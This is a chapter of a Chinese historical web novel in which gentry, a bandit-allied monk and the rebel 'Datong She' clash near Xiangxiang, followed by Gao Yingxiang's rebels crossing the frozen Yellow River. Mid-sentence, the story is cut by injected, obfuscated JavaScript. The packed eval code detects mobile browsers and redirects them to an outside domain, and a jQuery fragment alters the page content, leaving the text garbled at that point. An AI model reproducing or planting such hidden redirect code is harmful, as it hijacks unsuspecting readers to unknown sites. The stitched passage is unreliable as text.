146. 失算

作品:《铁娘子她怎么登基称帝了

    十一月十七日,湘乡县延福三十九都,天王寺。


    蓬头垢面、状若乞丐的吴学看着蓝田水上飘扬着红旗的船队发呆。


    “吴施主,鄙寺施粥,尚剩一碗。”


    温和的男声将吴学的思绪拉回现实,他偏头看见一个浓眉大眼、身体粗壮的和尚端着一碗温热的稠粥对他微笑。


    吴学目光一凝,接过粥大口吞咽,没多久功夫便将粥喝进肚中。


    和尚拿回碗,却不急着走,“贫僧有些体力活需人帮忙。吴施主若愿意,贫僧管你今日的饭。”


    吴学道,“法师尽管吩咐,只要让我吃饱!”


    和尚点头,转身往寺庙走去,吴学紧跟其后。寺中和尚似乎对此习以为常,并无人因此多嘴。


    和尚将吴学带入偏院一间厢房。


    他们刚走进去,一个黑壮的汉子便拱手说道,“在下湘潭王应龙,见过吴兄。”


    吴学不由地大为惊诧,“世兄何以亲到天王寺。如今贼社不但日夜巡河,而且受其蛊惑的乡民愈来愈多,对外乡人尤为警惕……”


    王应龙却是一叹,“在下不得不过来。”


    吴学有些心急,“可是中里或是首里出了大事①?我藏于山中,自从贼社从邵阳调来几百乡勇下至乡里管事,消息越发闭塞。”


    “大事倒也算不上,”王应龙一脸忧色,“在下与马先生原以为贼首必会坐镇湘潭,却不想那妖女带了三百贼驻扎永丰。


    “在下手下两百民壮,吴兄及湘乡士绅此前说能够出动一千人,如此勉强能打原只两百余贼的永丰堡。可如今……”


    吴学面色一沉,“世兄既冒险到了此地,定是有了法子。”


    王应龙有些为难地说道,“在下到此,一是请如山法师襄助,二是请吴兄在上里闹一闹,杀几个贼人,将妖女引来上里。”


    吴学想了想道,“此事不难,但如山法师……”


    两人看向如山,如山却不动如山,只脸上挂着假笑,“王施主晓得山中的弟兄要甚么。”


    王应龙有些气恼,“法师,不过是湘乡未靖,贼社才容许你等盘踞梅山!贼社便是剿匪起家,如今邵阳哪还有土匪?若法师作壁上观,你等离灭亡之日也不远了!”


    如山笑得更假了,“王施主此言差矣。大同社占了湘潭,便是等着你们去打湘潭,他们好治理邵阳、湘乡等县,不打退官兵,大同社可不会进山。


    “等分出胜负,山里再做抉择便是。官兵胜,皆大欢喜,弟兄们继续当山大王。官兵败,我们与大同社并无纠葛,李夜叉都能活,山中弟兄如何不能?”


    王应龙压抑着怒火,如山却“好意”提醒道,“王施主要趁早做决定。要么从湘潭调来援兵,要么答应山里的条件,或双管齐下。


    “妖女本事非凡呐!大同社已要求乡绅立即选择做哪等‘绅士’。从今年开始,哪怕是原已收上的田租,也得把多收的退回来。


    “等乡民都拿回田租,等乡民发现乡绅官府不敢欺辱他们,你们恐怕要像邵阳官绅一般,只能躲在城中等不知何时会来的援兵了。”


    王应龙气哼哼地说了几个模糊不清的词,如山却不在意,竟闭目沉思起来。


    “守备绝无可能,最多两个把总,两个百总。”王应龙咬牙切齿地说道,“银子,且等会师再给,如今也送不过来!”


    如山合掌笑道,“善哉。”


    如山起身,在王应龙的怒视中说道,“贫僧即刻进山,两位自便。”


    王应龙冷笑一声,“法师慢走,等你的好消息。”


    如山行礼告辞,与寺中一僧说了几句话,便出寺到了渡口,他将渡口的船只看了个遍,选中一只稍大些的船,慢悠悠地走了上去。


    船夫喊了一嗓子,船只一震,便离了岸。


    如山进了船舱,里内坐着一人,穿着男子衣服,却显然是个女子。


    如山并无多余反应,坐在女子对面,待船到了河中,才开口说道,“小僧未料想是你亲自来了。”


    女人轻轻笑了一声,“飞天王何等人物,妾自然不能怠慢。”


    河中水流稍急,乌篷船微微晃动,涟漪荡开,却又被另一股涟漪推散。


    龙孔蒸看着自己碎成无数块的倒影,诧异地抬起头,只见一艘倒扒子直插过来,尖尖的船头上站着数个黑衣人。


    “永丰警役办案,即刻停船!”


    龙孔蒸悚然一惊,洪业嘉从船舱里出来,看见越来越近的倒扒子,被吓得面如死色。


    “跳船!”


    惊醒过来的龙孔蒸一把抓住洪业嘉,正要往水里跳,背后却有人用力一扯。


    他们向后跌坐,失声惊叫,船只猛地一沉,左右晃荡,险些倾覆。


    龙孔蒸一脸蒙,洪业嘉看着手里拿着船桨、满目凶光盯着他俩的黑瘦老头,只觉得一股心脏被人使劲捏了一下,嘴唇竟开始打颤。


    ……


    十一月二十一日卯时,天未亮,寒风刺骨。


    吴学一声命下,数十人闯入丰乐三十七都桐子铺,直冲向村东头临近冠曹水的一片棚屋。


    王应龙身先士卒,第一个冲入棚屋,快步走到床边劈砍,却无甚阻碍,只模模糊糊看到棉絮从床上膨了出来。


    他怔住,好一会才拿出火折子吹亮,环顾四周,空无一人。


    “王兄,不对劲!本在此处推行那狗日农联的社贼全不见了!”


    吴学举着火把急匆匆走了进来,将王应龙惊愕、愤怒的脸照得万分狰狞。


    “贼社有备,即刻退走!”


    王应龙阴着脸,大步走出棚屋,天地暗沉,火把在棚屋间如无头苍蝇般乱窜,他一时有些心堵。


    吴学吹响口哨,众人聚集过来,他正要说话,桐子铺处一片嘈杂,大量火把向棚屋区涌动过来。


    “贼社如何得知……”


    吴学惊愕不已,王应龙却抽刀说道,“现下还想甚么如何!”


    他面容狠戾,“弟兄们!杀!杀光贼人!杀出一条生路!”


    两伙人在村落与棚屋的交界处混战,杀声惊破黑夜,热血消融寒意。


    王应龙刚从两人夹击中脱身,身后便有一股冷风袭来,他急忙转身格挡,双手手腕一震,剧烈的疼痛让他差点松手。


    对面壮汉戏谑一笑,举刀再劈,他双手发软,竟有些提不起刀。


    左手被人一拖,两人持刀上前,挡住了那壮汉。


    王应龙站定身子,面孔仍余一丝惊惧,耳畔却响起吴学嘶哑的声音:


    “走!世兄!我等在此断后,你快走!”


    王应龙喉头一动,吴学却使劲将他推出战场,自己上前挡住冲杀过来的两个社贼:


    “快!快!快!”


    王应龙向吴学抱拳,不敢再耽搁,转身向北,欲逃入山,却不想北边黑暗中有甚么东西动了动,他目光一颤,没有犹豫地往东边逃去。


    “小贼休逃!”


    那十几个黑影猛地向他扑来,他狠下心,跃入河中,寒冷仿佛要将他的魂魄都冻僵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691866|159702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。


    “不!还不能死!”


    他奋力泳动,河中像是有无数冰针刺着他的血肉和意识,反倒让他慢慢清醒过来。


    几支箭射入水中,水花四溅。


    他猛吸一口,扎进水深处。


    黑暗、寒冷化作大手,要将他拖向深渊,求生的意志如同风中残烛,仿佛下一刻便会熄灭。


    也不知多久,一点微光落了下来,他只觉得浑身一松,意识彻底沉沦。


    待他醒来,双眼迷茫,略有些呛鼻的香火气味将他的思绪拉回了现实。


    “王施主福大命大。”如山忽地走进房来,坐于圆凳上,状若弥勒,“吴施主及其一众弟兄皆被抓捕至娄底堡,王施主却能顺流至我天王寺,为贫僧所救。


    “大难不死,必有后福。王施主保住这条命,是佛祖望施主救下更多人命,王施主当振奋。”


    王应龙本只当如山在说客套话,可到了后面,却听出了些许话外音,不免皱起眉头,有气无力地说道,“如山法师,你甚么意思?”


    如山起身走至床边,将一份墨味甚重的大纸递给王应龙,王应龙第一眼便看到了醒目的十几个大字——“四明山乡勇挫败明守道史启元攻堡企图”。


    他抓住报纸两端的手用上了力,报纸顿时褶皱。


    他目光快速地往下看,如山笑眯眯地说道,“王施主,这史启元亲率道标三百余人,民壮乡勇千余人,竟不能克其时只两百余人防守的大同社棱堡。


    “如今吴施主被抓,便是贫僧请来千余弟兄,算上王施主与湘乡士绅手下人马,不过两千余人,如何打下五百余人镇守的永丰堡?”


    王应龙放下报纸,双眼放空,如山的声音轻飘飘地钻进他耳中。


    “王施主,山里是守信的,不会趁火打劫,但也不会白白让弟兄们送死。王施主若想山里下来千五百弟兄,你与士绅至少也要出两千人!”


    如山的笑声忽地低下来,似乎带上了点嘲讽,“若做不到,便算了罢。王施主好不容易捡回一条命,不要浪费了。”


    王应龙并未回话,如山也不催他,只让他安心养伤。但二十三日他得知欧阳淑失踪、洪业嘉等人被抓,便再待不住,以假身份混上一艘客船去了永丰。


    蓝田水畔②,如山目送客船消失于山水之间,正想回去,却见一艘船慢慢停靠在了岸边。


    他微微一笑,走了上去。


    仍是那男装女子坐在船舱中。


    她不说话,他也沉默。她眺望北方群山,他也跟着看去。


    在他们目光不及的遥远北方,黄河已经结冰,有人将门板铺在冰上,又在上加了一层土。


    不多时,数以万计的人马驰过黄河,奔入他们自起义以来尚未涉足过的黄河之南。


    “黄娃子!”“闯王”高迎祥畅快大笑,“当真天助额也!狗官兵信了额们诈降之计,贼他娘的黄河也结冰了,额们入河南、下湖广,看狗官兵还能不能围住额们!”


    “闯将”李自成驰马过来,饱经风霜的脸上满是喜意,但也有一丝惆怅,“可惜盟主五月病逝,草草埋在济源,不能与额们飞渡这黄河天险。”


    “要不是起义,额们早死了!他紫金梁不是死早了,是多活了五年!”


    高迎祥看着黄河上万马奔腾的景象,神采飞扬,却又想到什么,看向自家外甥。


    “黄娃子,你既然收了紫金梁的老营,便记得给他报仇,多杀几个狗官兵!也不知道额们能不能杀去京师,坐坐那龙椅!”